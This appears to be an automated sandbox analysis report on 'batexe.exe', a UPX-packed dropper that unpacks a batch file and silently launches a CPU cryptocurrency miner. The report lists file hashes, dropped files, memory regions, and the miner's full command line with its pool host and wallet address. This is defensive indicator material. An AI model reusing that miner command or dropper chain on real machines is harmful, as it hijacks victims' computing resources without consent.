Analysis

  • max time kernel
    294s
  • max time network
    303s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-ja
  • resource tags

    arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    13/02/2024, 13:18

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1460
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1000
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4236

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe

    Filesize

    4.3MB

    MD5

    225ad63ae4285536842ee1ca4b56e051

    SHA1

    73d1fcf4006c841ffcfa1269566d8543a5aaf7d2

    SHA256

    23c4e0cec42cfccabe7c01b688e5d50a0d271897860bb8b395ca6e8e6e6fbc13

    SHA512

    2dbceb2eab4bb328a2f5569013574eb7bb07f0c3539cab08a00e383124a4d08bf414739cc50380b10c8a1079cabc410323d4b1fbe99e61361d3a52372c46d88b

  • C:\Users\Admin\AppData\Local\Temp\9C9E.tmp\b2e.exe

    Filesize

    4.3MB

    MD5

    ace953ba5dc0de7105146837f27e312a

    SHA1

    6b30907ffdc833089c7f2c17aa4491813a7d6ebf

    SHA256

    fae8ac3c85e9e32a8e8769df8b610b325c5de01357ada96111e202f348c104c7

    SHA512

    39ceb68af4a55abcf564a82a735386833ec04b0745461b6a39b7632182f30757f16704b9e083c86421852cb61dbc92d3dac211a4d790d66fb2ae7528866ba389

  • C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.6MB

    MD5

    fc130c5af6812caa3fb9c37169a7886a

    SHA1

    b22e9aee63c4f70b09f439b652734c4027344f45

    SHA256

    bf324845361c6004eecfb0fe6f46c71dd58c7bc6cf2f17e0536bdb84269825f2

    SHA512

    4fccd8b44a4920bd8ce2a879dff97d497223c146d02682fba37c95aa3617de156b4eb492b3d9e7c28898922bb0e443c5a633b77b1cc607f99d54e4b8884bf70c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    683KB

    MD5

    15c54314623259a1d0099507eae999d0

    SHA1

    3aec57af9f82f2326f4eb27e14f81c1574ef46d3

    SHA256

    8cb026012d23b7b910020d9e172644f0b36e3bac0e76fa02beaaa93460661587

    SHA512

    a015086ba3fef5d30c7d3377c208fb392cf6fdde1635a3b2f5bc2a8c8eda433a43bc22b6ddc29e78aef5c9f32d35c9fc858cfc2733e19f7dc52ada79d198e7ff

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    799d3c24a4a181fef5c81ff448d54ca8

    SHA1

    4d78bf61e271fee37f496e5b27d98b4003d6f7f1

    SHA256

    49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

    SHA512

    422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.5MB

    MD5

    b574302e32a71e726ecfab73c2bef6be

    SHA1

    3ad4e10fa8c6eeb5320baf379b15c55ef4e478de

    SHA256

    000158b65072b50f4afd31f9aa9f0d4c4ea5dfe8e004bdebe26997181822c816

    SHA512

    156fa45328d7091ca2338e4b5f8540afb42cf862003df7643548b135f994ec7c916f6edb25147cd206cf2c9873a0523f7ccae44e1801a1d6deb0fc79c120350f

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    8ef47139feced2c5da92acff576dd698

    SHA1

    b140fdf94321483503ed45f459f578276e934c60

    SHA256

    c8edfca0622e2b70514b74c5b9b554950c0392246bccec1daed3e5c5cc489a38

    SHA512

    c8048d536ab54fa42464b8986d931fa5ec2350579e2da3938c468a85e565b69f8572143de591cd6aec522d2567c3c9dd509144438aa16a1583b580d7f0343f70

  • memory/220-4-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/1460-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1460-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4236-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4236-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-43-0x0000000059A30000-0x0000000059AC8000-memory.dmp

    Filesize

    608KB

  • memory/4236-44-0x0000000000F30000-0x00000000027E5000-memory.dmp

    Filesize

    24.7MB

  • memory/4236-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4236-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4236-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB